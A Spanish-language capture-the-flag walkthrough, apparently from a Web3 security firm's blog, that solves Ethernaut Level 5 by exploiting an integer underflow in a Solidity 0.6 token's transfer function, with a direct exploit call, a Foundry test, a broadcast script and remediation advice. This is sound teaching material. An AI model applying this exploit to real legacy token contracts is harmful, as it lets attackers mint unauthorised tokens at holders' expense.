Ethernaut Level 5 Walkthrough: Explotando un Integer Underflow en Solidity
En este artículo, analizaremos y resolveremos Ethernaut Level 5: Token.
Este nivel parece un contrato ERC20 minimalista y correcto: guarda balances, transfiere tokens, y hasta incluye un require que parece proteger contra balances negativos. Pero ese require está roto por diseño, porque compara valores sin signo, y eso convierte una operación aparentemente inofensiva en una forma de imprimir tokens de la nada.
Además de resolver el reto, entenderemos:
- Qué es un integer underflow y por qué Solidity antes de la versión 0.8.0 no lo detecta
- Por qué el
requiredel contrato nunca puede fallar, sin importar los valores involucrados - Cómo una sola llamada directa desde nuestra cuenta, sin ningún contrato atacante, basta para explotarlo
- Cómo validar el exploit con Foundry
- Cómo defenderse con SafeMath o con los checks nativos de Solidity 0.8+
Descripción del Reto
El contrato implementa un token simple con balances internos. El jugador arranca con 20 tokens, asignados por el factory al desplegar la instancia.
La meta del reto es:
Hackear el contrato de forma que termines con más tokens de los que empezaste. Idealmente, un número absurdamente grande de tokens.
Clasificación de la Vulnerabilidad
| Categoría | Valor |
|---|---|
| Vulnerabilidad: | Integer Underflow (subflujo aritmético) |
| Causa Raíz: | Resta sin signo sin checks de overflow/underflow (Solidity ^0.6.0) |
| Impacto: | Cualquier holder puede mintear tokens ilimitados para sí mismo |
| Severidad: | Crítica |
| Tipo de Ataque: | Manipulación aritmética / Integer Underflow |
Análisis del Contrato Vulnerable
Este es el contrato vulnerable usado en el reto:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
Causa Raíz de la Vulnerabilidad
Toda la vulnerabilidad vive en una sola línea:
balances[msg.sender] -= _value;
balances[msg.sender] y _value son ambos uint256, un entero sin signo. Un uint256 no puede representar números negativos: su rango va de 0 a 2^256 - 1. Eso significa que la expresión balances[msg.sender] -= _value nunca puede ser menor que cero desde el punto de vista del tipo. Si _value es mayor que balances[msg.sender], la resta no produce un número negativo, produce un underflow: el resultado da la vuelta y aterriza cerca del extremo superior del rango, un número gigantesco.
Como consecuencia, >= 0 es una condición que siempre es verdadera para cualquier uint256, sin importar los valores involucrados. El require no protege nada. Compila, se ve como una validación razonable, y no hace absolutamente nada.
Esto viola un principio central de seguridad en el diseño de smart contracts:
Toda operación aritmética sobre balances o cantidades de valor debe garantizar explícitamente que no haya overflow ni underflow, porque el tipo de dato por sí solo no impone límites de negocio, solo límites de representación binaria.
Entendiendo el Integer Underflow
Para ver por qué la resta se comporta así, hay que pensar en cómo se almacena un uint256 en memoria.
- Un
uint256se representa con 256 bits sin signo. El valor mínimo posible es0y el máximo es2^256 - 1. - En Solidity
^0.6.0(y todas las versiones anteriores a la 0.8.0), las operaciones aritméticas no revierten automáticamente en overflow o underflow. El compilador simplemente aplica aritmética modular: el resultado da la vuelta. - Si
balances[msg.sender] = 20y llamamostransfercon_value = 21, la EVM calcula20 - 21como si fuera un reloj que retrocede más allá de cero: el resultado es2^256 - 1, un número con 77 dígitos decimales. - El
require(balances[msg.sender] - _value >= 0)evalúa esa resta ya "envuelta". Como el resultado sigue siendo unuint256válido (nunca negativo por definición), la condición>= 0pasa siempre, sin excepción. - La línea siguiente,
balances[msg.sender] -= _value, ejecuta exactamente la misma resta y persiste ese número gigantesco como el nuevo balance del atacante.
Estado inicial:
balances[player] = 20
Llamada: transfer(addr, 21)
require(20 - 21 >= 0)
20 - 21 en uint256 -> underflow -> 2^256 - 1
(2^256 - 1) >= 0 -> true (siempre, para cualquier uint256)
require PASA
balances[player] -= 21
balances[player] = 2^256 - 1 (numero gigantesco)
balances[addr] += 21
balances[addr] = 21
Esta clase de vulnerabilidad está catalogada en el registro Smart Contract Weakness Classification como SWC-101, "Integer Overflow and Underflow." Es una de las razones históricas por las que OpenZeppelin construyó la librería SafeMath, y por las que Solidity 0.8.0 (2020) hizo estos checks parte del comportamiento por defecto del lenguaje.
El caso real más citado de esta clase de bug es el hackeo del token BeautyChain (BEC) en abril de 2018, conocido como "batchOverflow": una función de transferencia por lotes permitía un overflow en la multiplicación de cantidades, generando una cantidad astronómica de tokens BEC de la nada. El exploit forzó a varios exchanges a suspender el trading del token en cuestión de horas.
¿Por Qué el Integer Underflow es Peligroso?
El nivel Token demuestra el caso más simple, una resta directa sobre un balance, pero la misma clase de bug aparece en formas más sutiles en código de producción.
- Multiplicaciones en overflow, no solo restas en underflow: calcular
cantidad * precioo distribuir recompensas en lote son puntos comunes donde un valor grande puede desbordar el rango de unuint256más pequeño (uint128,uint96) usado por optimización de gas. - Bloques
uncheckeden Solidity 0.8+: el lenguaje moderno revierte automáticamente en overflow/underflow, pero un desarrollador puede reintroducir el problema explícitamente envolviendo aritmética en un bloqueunchecked { ... }por ahorro de gas, sin validar los invariantes que ese bloque asume. - Tipos con menos de 256 bits:
uint8,uint16,uint32desbordan con valores mucho más pequeños y cotidianos, lo que los hace más fáciles de disparar por accidente, no solo por un atacante deliberado. - Código heredado pre-0.8.0: cualquier contrato en producción compilado con un pragma anterior a
0.8.0sin SafeMath sigue siendo tan vulnerable hoy como en 2018 si maneja fondos.
El patrón seguro es doble: usar Solidity ^0.8.0 o superior para obtener los checks de overflow/underflow por defecto, y auditar cualquier bloque unchecked como si fuera, por definición, código sin la red de seguridad del lenguaje.
Estrategia del Ataque
Ahora que entendemos la vulnerabilidad, podemos diseñar el exploit.
Sabemos que:
- El jugador arranca con exactamente 20 tokens (
playerSupply = 20en el factory). transferno valida realmente que_valuesea menor o igual al balance del emisor, porque elrequiresiempre pasa.- Transferir más tokens de los que poseemos hace que
balances[msg.sender]haga underflow a un número enorme. - El destinatario de la transferencia es irrelevante para el ataque: lo único que importa es que restemos más de lo que tenemos.
- No necesitamos ningún contrato intermediario. Podemos llamar
transferdirectamente desde nuestra cuenta player.
Por lo tanto, nuestra estrategia será:
- Llamar
transferdesde nuestra cuenta player con cualquier dirección destino y un_valuemayor a nuestro balance actual (20). Con_value = 21es suficiente. - El
requirepasa porque20 - 21da underflow a un número positivo enorme. - Nuestro balance queda fijado en
2^256 - 21, muy por encima de 20. - El nivel queda resuelto.
Solución
Este nivel no requiere desplegar ningún contrato atacante. Se resuelve con una única llamada directa desde nuestra cuenta player a la función pública transfer del propio contrato Token, exactamente como cualquier holder legítimo llamaría a esa función.
Desde la consola del navegador de Ethernaut, o desde un script/test de Foundry, basta con:
instance.transfer(0x000000000000000000000000000000000000dEaD, 21);
No hace falta una dirección destino específica: cualquier dirección sirve, incluso una dirección quemada (burn address) como en el ejemplo, porque el ataque ocurre sobre el balance del emisor, no sobre el del receptor.
Cómo Funciona el Exploit
Primero, confirmamos nuestro balance inicial llamando balanceOf(player), que debe devolver 20.
Luego, llamamos transfer(cualquierDireccion, 21) directamente desde nuestra cuenta player. Dentro del contrato, require(balances[player] - 21 >= 0) calcula 20 - 21 como aritmética sin signo. En Solidity ^0.6.0 sin SafeMath, ese resultado no revierte: da la vuelta hasta 2^256 - 1, que sigue siendo >= 0, así que el require pasa.
La línea balances[player] -= 21 ejecuta la misma resta y persiste ese número gigantesco como nuestro nuevo balance. La llamada balanceOf(player) ahora devuelve un valor astronómicamente mayor a 20, y el nivel se da por resuelto.
Sin contrato atacante, sin fondos, sin timing. Una sola transacción es suficiente.
Validando el Exploit con Foundry
Después de clonar el repositorio de Ethernaut localmente, podemos crear un test de Foundry para validar el exploit.
// SPDX-License-Identifier: MIT
// Token_L5.t.sol
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {DummyFactory} from "src/levels/DummyFactory.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
interface Token {
function transfer(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
}
contract TestToken_L5 is Test, Utils {
Ethernaut ethernaut;
Token instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
DummyFactory factory = DummyFactory(getOldFactory("TokenFactory"));
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = Token(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
vm.stopPrank();
}
function testInit() public {
vm.startPrank(player);
assertEq(instance.balanceOf(player), 20);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
function testSolve() public {
vm.startPrank(player);
// player tiene 20 tokens. Transferir 21 provoca underflow en
// balances[player] -= 21 sobre Solidity 0.6.x sin SafeMath,
// envolviendo el balance del player a un numero gigantesco.
instance.transfer(address(0xdead), 21);
assertGt(instance.balanceOf(player), 20);
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Ejecutando el Test
Ejecutamos el test contra un fork de Sepolia:
source .env
forge test --mp test/Solutions/Token_L5.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vvv
Una vez ejecutado, podemos verificar que el balance del player supera ampliamente los 20 tokens iniciales y que el nivel acepta el envío.
Resolviendo el Nivel en Sepolia
Ahora crearemos un script para ejecutar el exploit directamente contra la instancia de Ethernaut.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
interface Token {
function transfer(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
}
contract TokenScript is Script {
address public target;
function setUp() public {
target = payable("0xYourEthernautInstance");
}
function run() public {
uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
address player = vm.addr(pk);
vm.startBroadcast(pk);
Token instance = Token(target);
instance.transfer(address(0xdead), 21);
console.log("Balance del player tras el underflow:", instance.balanceOf(player));
vm.stopBroadcast();
}
}
Ejecutando el Script
Primero, ejecutamos el script localmente:
forge script scripts/Token.s.sol --rpc-url $SEPOLIA_RPC
Si todo funciona correctamente, lo transmitimos a Sepolia:
forge script scripts/Token.s.sol --rpc-url $SEPOLIA_RPC --broadcast \
--interactives 1 -vvv
Una vez que la transacción confirma, el balance del player en la instancia es un número astronómicamente mayor a 20. Solo falta enviar la instancia en el sitio de Ethernaut.
Cómo Prevenir el Integer Underflow
La corrección no es reescribir el require, es garantizar que la aritmética misma no pueda dar la vuelta sin ser detectada.
Usar Solidity 0.8.0 o superior
// Vulnerable (Solidity ^0.6.0, sin checks nativos)
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
// Corregido (Solidity ^0.8.0, revierte automaticamente en underflow)
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] >= _value, "Insufficient balance");
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
Con Solidity ^0.8.0, balances[msg.sender] -= _value revierte automáticamente si el resultado underflowearía, sin necesidad de ninguna librería externa. El require explícito con un mensaje de error sigue siendo buena práctica, porque falla antes y con un mensaje claro, en lugar de depender solo del revert genérico del compilador.
Usar SafeMath en código legado
Si un contrato debe permanecer en una versión de Solidity anterior a la 0.8.0, la librería SafeMath de OpenZeppelin agrega funciones add, sub, mul y div que revierten explícitamente en overflow o underflow.
using SafeMath for uint256;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
return true;
}
Auditar cada bloque unchecked
En Solidity 0.8+, cualquier bloque unchecked { ... } reintroduce el comportamiento pre-0.8.0 para el código dentro de él. Cada uso debe justificarse explícitamente y validarse con los mismos invariantes que un desarrollador validaría manualmente en código legado.
Lecciones Aprendidas
Este reto muestra que un require puede parecer una validación razonable, compilar sin advertencias, y no proteger absolutamente nada.
Lecciones clave de este nivel:
- Un
requiresobre una expresiónuint >= 0nunca puede fallar: es una tautología para cualquier entero sin signo. - La resta sin signo no produce números negativos, produce underflow: el valor da la vuelta al extremo superior del rango del tipo.
- Solidity anterior a 0.8.0 no reviertía automáticamente en overflow ni underflow, lo que dejaba esta clase de bug completamente expuesta a menos que se usara SafeMath explícitamente.
- Solidity 0.8.0+ soluciona esto por defecto, pero un bloque
uncheckedpuede reintroducir el problema deliberadamente. - SWC-101 existe precisamente porque esta clase de bug causó pérdidas reales, como el hackeo batchOverflow de BeautyChain en 2018.
Conclusión
En este reto, explotamos un integer underflow en la función transfer de un token ERC20 minimalista, causado por un require que compara una resta sin signo contra cero, una condición que nunca puede ser falsa.
No necesitamos ningún contrato atacante: una sola llamada directa desde nuestra cuenta player, transfiriendo más tokens de los que poseíamos, bastó para inflar nuestro balance a un número astronómico.
Este nivel es una excelente introducción a:
- Qué es un integer underflow y por qué ocurre en aritmética sin signo
- Por qué Solidity antes de la 0.8.0 no protege contra esto por defecto
- Cómo explotar el bug con una única transacción, sin contrato intermediario
- Metodología de exploit real validada con Foundry
- Patrones correctos de aritmética segura usando Solidity 0.8+ o SafeMath
Puedes encontrar más contenido de seguridad Web3 en nuestro blog.
Si buscas una auditoría de seguridad para tu protocolo, contáctanos a través de nuestro sitio seclat.xyz.